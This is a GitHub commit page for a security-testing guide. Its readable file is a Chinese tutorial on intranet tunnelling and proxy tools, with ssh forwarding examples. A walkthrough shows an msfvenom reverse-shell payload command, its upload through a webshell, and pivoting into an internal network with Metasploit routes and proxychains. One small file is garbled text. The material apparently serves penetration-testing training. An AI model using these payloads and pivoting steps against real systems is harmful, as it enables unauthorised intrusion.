forked from scopion/security_test_guide
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
scopion
committed
May 5, 2022
0 parents
commit 8073248
Showing
62 changed files
with
315 additions
and
0 deletions.
There are no files selected for viewing
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Empty file.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file not shown.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Empty file.
Binary file not shown.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,2 @@ | ||
# security_test_guide | ||
安全测试导论 |
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file not shown.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file not shown.
Binary file not shown.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,307 @@ | ||
# 内网穿透技术 | ||
|
||
## 一、内网穿透/代理原理 | ||
|
||
- 端口映射:所谓内网端口映射就是将内网中主机的一个端口映射到外网主机的一个端口,提供相应的服务。当用户访问外网IP的这个端口时,服务器自动将请求映射到对应局域网内部的机器上。 | ||
|
||
eg:这就好比内网中有一台Web服务器,但是外网中的用户是没有办法直接访问该服务器。因此我们可以在路由器上设置一个端口映射,只要外网用户访问路由器IP的80端口,那么路由器就会自动把流量转到内网Web服务器的80端口上。而且在路由器上还存在一个Session,当内网服务器返回数据给路由器时,路由器可以准确的把消息发送给外网请求用户的主机。在这期间,路由器充当了一个反向代理的作用,保护了内网中主机的安全。 | ||
|
||
- 端口转发:端口转发就是把一个端口的数据转发到另外一个端口。端口转发只能在电脑/服务器上实现,跟路由无关。 | ||
|
||
eg:比如,我们现在在内网中,是没有办法直接访问外网的。但是我们可以通过路由器的NAT方式访问外网。 | ||
|
||
- 内网穿透也叫做“NAT穿透”。 | ||
|
||
- 利用各种隧道技术,以网络防火墙允许的协议,绕过网络防火墙的封锁,实现访问被封锁的目标网络。一句话来说就是,让外网能访问你的内网;把自己的内网(主机)当成服务器,让外网能访问。 | ||
|
||
- 原理图解如下 | ||
|
||
![1](.\images\1.png) | ||
|
||
## 二、内网渗透知识点普及 | ||
|
||
- 什么是隧道技术呢? | ||
|
||
> 百度词条解释:隧道技术是一种通过使用互联网络的基础设施在网络之间传递数据的方式。使用隧道传递的数据(或负载)可以是不同协议的数据帧或包。隧道协议将这些其他协议的数据帧或包重新封装在新的包头中发送。新的包头提供了路由信息,从而使封装的负载数据能够通过互联网络传递。被封装的数据包在隧道的两个端点之间通过公共互联网络进行路由。被封装的数据包在公共互联网络上传递时所经过的逻辑路径称为隧道。一旦到达网络终点,数据将被解包并转发到最终目的地。注意隧道技术是指包括数据封装、传输和解包在内的全过程。 | ||
- 进行内网渗透常用的隧道技术有dns隧道、http隧道、ssh隧道、icmp隧道等容易被网络防火墙放行的协议。 | ||
|
||
- 这些隧道技术可以按所处的协议层分层。 | ||
|
||
- 网络层隧道 | ||
|
||
> ICMP隧道等 | ||
- 传输层隧道 | ||
|
||
> TCP隧道、UDP隧道 | ||
- 应用层隧道 | ||
|
||
> HTTP、DNS、SSH等隧道 | ||
- 内网主机所有可能的出网方式 | ||
- 允许ICMP协议出网 | ||
|
||
> 网络防火墙允许ICMP协议出网,即能ping通外网主机,一般都能出网 | ||
- 允许特定的TCP或UDP协议端口出网 | ||
|
||
> 网络防火墙允许特定的TCP或者UDP端口出网,比如连接外网的22、53、80、443、3389等 常见应用的默认监听端口。在一个不能出网的网络环境里面,将所有的TCP和UPD端口都探测一遍,通常都能发现有一两个常见的端口能出网。这通常是由于网络管理员的错误配置和偷懒行为导 致。比如配置的防火墙规则前后矛盾,解析的时候遇到匹配规则就退出执行;比如网络管理员配置允许web服务器访问另一子网的mysql数据库的3306端口。网络管理员配置时偷懒,可能会直接 放行web服务器到任意ip地址的3306端口 | ||
- 允许特定的应用层协议出网(比如HTTP、SSH、DNS等应用层协议) | ||
> 这种网络防火墙能识别应用层的协议,放行允许出网的协议,比如HTTP、SSH、DNS、RDP等应用层协议;通常办公网是允许HTTP协议出网的,可能会域名白名单限制 | ||
内网主机所有可能的入网方式 | ||
|
||
- 允许ICMP协议入网 | ||
|
||
> 能ping通目标主机 | ||
- 允许特定的TCP或UDP协议端口入网 | ||
|
||
> NAT端口映射公网IP端口到内网主机的服务端口,比如将web服务、mysql服务NAT映射到公网 | ||
- 允许特定的应用层协议入网 | ||
|
||
> 这种网络防火墙能识别应用层的协议,放行允许入网的协议。比如HTTP反向代理,将公网收到的HTTP流量反向代理进内网主机。当前主流的入网方式,通常会加层WAF审查入网流量 | ||
- 正向代理和反向代理的区别 | ||
|
||
- 正向代理 | ||
|
||
> 比如X花店代A,B,C,D,E五位男生向Candy女生送匿名的生日鲜花,这里的X花店就是5位顾客的代理,花店代理的是客户,隐藏的是客户。 | ||
正向代理隐藏了真实的请求客户端。服务端不知道真实的客户端是谁,客户端请求的服务都被代理服务器代替来请求,某些上网工具扮演的就是典型的正向代理角色。用浏览器访问http://www.google.com时被墙了,于是你可以在国外搭建一台代理服务器,让代理帮我去请求google.com,代理把请求返回的相应结构再返回给我。 | ||
|
||
- 反向代理 | ||
|
||
> 拨打10086电话,接线员可能有很多个,调度器会智能的分配一个接线员与你通话。这里的调度器就是一个代理,只不过他代理的是接线员,客户端不能确定真正与自己通话的人,隐藏与保护的是目标对象。 | ||
反向代理隐藏了真实的服务端,当我们请求 ww.baidu.com 的时候,背后可能有成千上万台服务器为我们服务,但具体是哪一台,你不知道,也不需要知道,你只需要知道反向代理服务器是谁就好了,ww.baidu.com 就是我们的反向代理服务器,反向代理服务器会帮我们把请求转发到真实的服务器那里去。 | ||
## 三、内网穿透常用工具 | ||
### 0x3.1 网络层隧道工具 | ||
|
||
- [icmpsh](https://github.com/inquisb/icmpsh) | ||
|
||
> 能通过ICMP协议反弹cmd,功能单一,反弹回来的cmd极不稳定,不推荐使用 | ||
- [icmptunnel](https://github.com/DhavalKapil/icmptunnel) | ||
|
||
> 创建虚拟网卡通过ICMP协议传输网卡流量,基于ICMP隧道的vpn,需要root权限,动静极大,不推荐使用 | ||
- [pingtunnel](https://github.com/esrrhs/pingtunnel) | ||
|
||
> tcp、udp、socks5 over ICMP,速度快,连接稳定,跨平台,client模式不需要管理员权限即可正常使用,推荐使用 | ||
### 0x3.2 传输层隧道工具 | ||
|
||
- [netcat](https://github.com/diegocr/netcat)(nc) | ||
|
||
> 网络工具中的瑞士军刀,linux系统一般自带 | ||
- [powercat](https://github.com/besimorhino/powercat) | ||
|
||
> powershell版的netcat | ||
- [socat](https://github.com/craSH/socat) | ||
|
||
> 具有记录转发流的功能,方便查看转发内容,需要安装 | ||
- netsh | ||
|
||
> windows系统自带的网络配置工具 | ||
- [lcx](https://github.com/UndefinedIdentifier/LCX) | ||
|
||
> 端口转发工具 | ||
- [NATBypass](https://github.com/cw1997/NATBypass) | ||
|
||
> 一款lcx在golang下的实现,更好的跨平台,更完善的文档,推荐 | ||
- [iox](https://github.com/EddieIvan01/iox) | ||
|
||
> 端口转发 & 内网代理工具,功能类似于lcx/ew,简化了命令行参数,支持UDP流量转发,更好的跨平台。缺点:不支持监听指定IP,默认监听0.0.0.0:port,会增大暴露风险,不支持使用 | ||
### 0x3.3 应用层隧道工具 | ||
|
||
由于应用层协议极多,对应的隧道工具也很多,我们常用来做隧道的协议一般是DNS、HTTP、SSH、SOCKS等 | ||
|
||
- [dnscat2](https://github.com/iagox86/dnscat2) | ||
|
||
> 不仅可以创建DNS隧道,较难发现,如果封禁也许会对业务有影响 | ||
- [dnscat2-powershell](https://github.com/lukebaggett/dnscat2-powershell) | ||
|
||
> dnscat2的powershell客户端 | ||
- [dns2tcp](https://github.com/alex-sector/dns2tcp) | ||
|
||
> TCP over DNS,即通过DNS隧道转发TCP连接 | ||
- [iodine](https://github.com/yarrick/iodine) | ||
|
||
> IPv4 over DNS,即通过DNS隧道转发IPv4数据包 | ||
- [reGeorg](https://github.com/sensepost/reGeorg) | ||
|
||
> SOCKS over HTTP,即通过HTTP隧道转发SOCKS | ||
- [Neo-reGeorg](https://github.com/L-codes/Neo-reGeorg) | ||
|
||
> 重构版reGeorg,提高稳定性和可用性,避免特征检测,更新活跃 | ||
- [reDuh](https://github.com/sensepost/reDuh) | ||
|
||
> TCP over HTTP,即通过HTTP隧道转发TCP连接,隧道不稳定 | ||
- [Tunna](https://github.com/SECFORCE/Tunna) | ||
|
||
> TCP、SOCKS over HTTP,即通过HTTP隧道转发TCP连接和SOCKS,隧道不稳定 | ||
- [ABPTTS](https://github.com/nccgroup/ABPTTS) | ||
|
||
> TCP over HTTP,即通过HTTP隧道转发TCP连接,数据加密,可自定义HTTP数据,对抗特征检测十分优秀,创建的隧道十分稳定,比较遗憾的是支持的web脚本类型只有aspx和jsp | ||
- [EarthWorm](https://github.com/rootkiter/EarthWorm) | ||
|
||
> 十分方便的多级SOCKS代理,已经永久停止更新 | ||
- [Termite](https://github.com/thestinger/termite) | ||
|
||
> EarthWorm的升级版,已经永久停止更新 | ||
- [Venom](https://github.com/Dliv3/Venom) | ||
|
||
> Venom是一款为渗透测试人员设计的使用Go开发的多级代理工具。 | ||
- [ssocks](https://github.com/tostercx/ssocks) | ||
|
||
> 正向和反向的socks工具,可执行文件的大小很小 | ||
- [s5.go](https://github.com/ring04h/s5.go) | ||
|
||
> go语言编写的socks服务工具,良好的跨平台特性 | ||
- ssh | ||
|
||
本地转发: | ||
|
||
``` | ||
ssh -CNfg -L 127.0.0.1:7777:114.114.114.114:9999 [email protected] | ||
#ssh客户端监听127.0.0.1:7777, 将收到的tcp数据包通过连接到192.168.1.1的ssh隧道转发到ssh服务端,再由服务端转发到114.114.114.114:9999 | ||
``` | ||
|
||
远程转发: | ||
|
||
``` | ||
ssh -CNfg -R 127.0.0.1:7777:114.114.114.114:9999 [email protected] | ||
#ssh服务端监听127.0.0.1:7777, 将收到的tcp数据包通过连接到192.168.1.1的ssh隧道转发到ssh客户端,再由ssh客户端转发到114.114.114.114:9999 | ||
``` | ||
|
||
动态转发: | ||
|
||
``` | ||
ssh -CNfg -D 127.0.0.1:7777 [email protected] | ||
# ssh客户端监听127.0.0.1:7777开启socks服务,将收到的socks数据包通过连接到192.168.1.1的ssh隧道转发到ssh服务端,再由ssh服务端转发到目标地址 | ||
``` | ||
|
||
构建ssh隧道的常用参数: | ||
|
||
``` | ||
-C 压缩传输,提高传输速度 | ||
-f 后台执行数据传输 | ||
-N 建立静默连接 | ||
-g 允许远程主机连接本地用于转发的端口 | ||
-L 本地端口转发 | ||
-R 远程端口转发 | ||
-D 动态转发,即SOCKS代理 | ||
-p 指定ssh连接端口 | ||
``` | ||
|
||
|
||
## 四、实例讲解 | ||
|
||
### 案例-MSF路由转发/网络代理 | ||
|
||
1.拿到一台公网服务器的webshell权限 | ||
|
||
![22](.\images\12.jpg) | ||
|
||
2.进一步拿到交互式shell | ||
|
||
首先在kali中生成一个反向连接的shell.elf文件,如下图所示: | ||
|
||
(注:类似下面的反向连接木马,可以使用bind_tcp载荷,开启正向连接木马。和反向连接的区别在于: | ||
反向连接木马是攻击机开放端口,靶机连过来;正向连接木马是靶机开放端口,攻击机连过去;正向链接容易被防火墙拦截) | ||
|
||
`msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.70.0.195 LPORT=4444 -f elf -o zshell.elf` | ||
|
||
![22](.\images\22.jpg) | ||
|
||
3.通过蚁剑将shell上传到web站点中 | ||
|
||
![23](.\images\23.jpg) | ||
|
||
然后赋予权限,并执行 | ||
|
||
![24](.\images\24.jpg) | ||
|
||
4.在kali端,监听并获取会话 | ||
|
||
![25](.\images\25.jpg) | ||
|
||
5.信息收集 | ||
|
||
接下来收集这台机器的信息,发现有个192.168.58.0段的内网,尝试将这个网段代理到本地 | ||
|
||
![26](.\images\26.jpg) | ||
|
||
6.采用msf添加路由的方式 | ||
|
||
![27](.\images\27.jpg) | ||
|
||
至此路由转发完成 | ||
|
||
这时可在msf session3下进行探测。当探测内网环境下的存活主机时,不要用udp协议去探测,容易把连接挤掉 | ||
|
||
7.设置代理做好上面的路由转发后,这如想通过其他应用程序来使用这个代理怎么办呢? | ||
|
||
这里可以借助 metasploit socks4 提供一个监听隧道供其他应用程序访问: | ||
|
||
使用socks4a进行代理。(注:经测试socks5代理失败概率很高) | ||
|
||
![28](.\images\28.jpg) | ||
|
||
(注:更改本地代理配置文件) | ||
|
||
``` | ||
vim /etc/proxychains.conf | ||
``` | ||
|
||
![28](.\images\29.jpg) | ||
|
||
8.然后可以使用nmap等工具进行扫描 | ||
|
||
``` | ||
proxychains nmap -Pn -sT | ||
``` | ||
|
||
### 靶机搭建 | ||
|
||
兴趣练习:https://www.anquanke.com/post/id/187908 | ||
|
||
【CFS三层靶机环境】百度网盘链接: | ||
|
||
https://pan.baidu.com/s/1m3JoNfyxE-a96o7DMb1eLw | ||
|
||
提取码:ht9o | ||
|
||
解压密码:teamssix.com | ||
|
||
## 五、如何业务提高内网安全性 | ||
|
||
***如何进行有效防护*** | ||
|
||
|
||
- 主机层使用IDS产品对webshell进行查杀,以及对流量、进程进行监控,发现异常及时封禁,且及时更新策略 | ||
- 有效控制出口协议,禁掉不必要协议 |
Binary file not shown.
Binary file not shown.
Binary file not shown.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,6 @@ | ||
|
||
���ܽӿڵ��� | ||
|
||
����������ʽ�����ܵIJ�������ʲô�� | ||
�������ֶΣ������ֶζ��Żᷢ��ʲô�����߷���ʲô�� | ||
�һ����룺�ֻ��ţ����䡣 |
Binary file not shown.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file not shown.